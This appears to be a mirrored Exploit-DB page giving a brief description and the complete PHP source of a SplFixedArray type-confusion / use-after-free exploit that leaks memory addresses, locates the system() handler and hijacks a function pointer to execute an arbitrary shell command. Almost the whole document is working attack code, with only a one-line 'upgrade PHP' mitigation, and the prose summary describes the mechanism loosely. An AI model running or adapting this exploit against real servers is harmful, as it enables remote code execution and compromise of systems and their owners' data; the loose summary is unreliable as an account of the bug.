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Rastamouse

PHP SplFixedArray Type Confusion Remote Code Execution

This exploit is a type confusion vulnerability in the PHP SplFixedArray class. It allows an attacker to execute arbitrary code on the target system by exploiting the way the SplFixedArray class handles references. The exploit works by creating a SplFixedArray object and setting the first element to a reference to a Z object. The Z object contains a jsonSerialize() method which is used to serialize the object. The jsonSerialize() method contains a call to the leak1() method which is used to leak the address of the Z object. The address is then used to parse the ELF header of the PHP binary and leak the address of the .data segment. The address of the .data segment is then used to leak the address of the command string. Finally, the command string is set to the address of the command and the jsonSerialize() method is called again to execute the command.

Mitigation:

Upgrade to the latest version of PHP.
Source

Exploit-DB raw data:

<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 0x6474e552) { # PT_GNU_RELRO
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);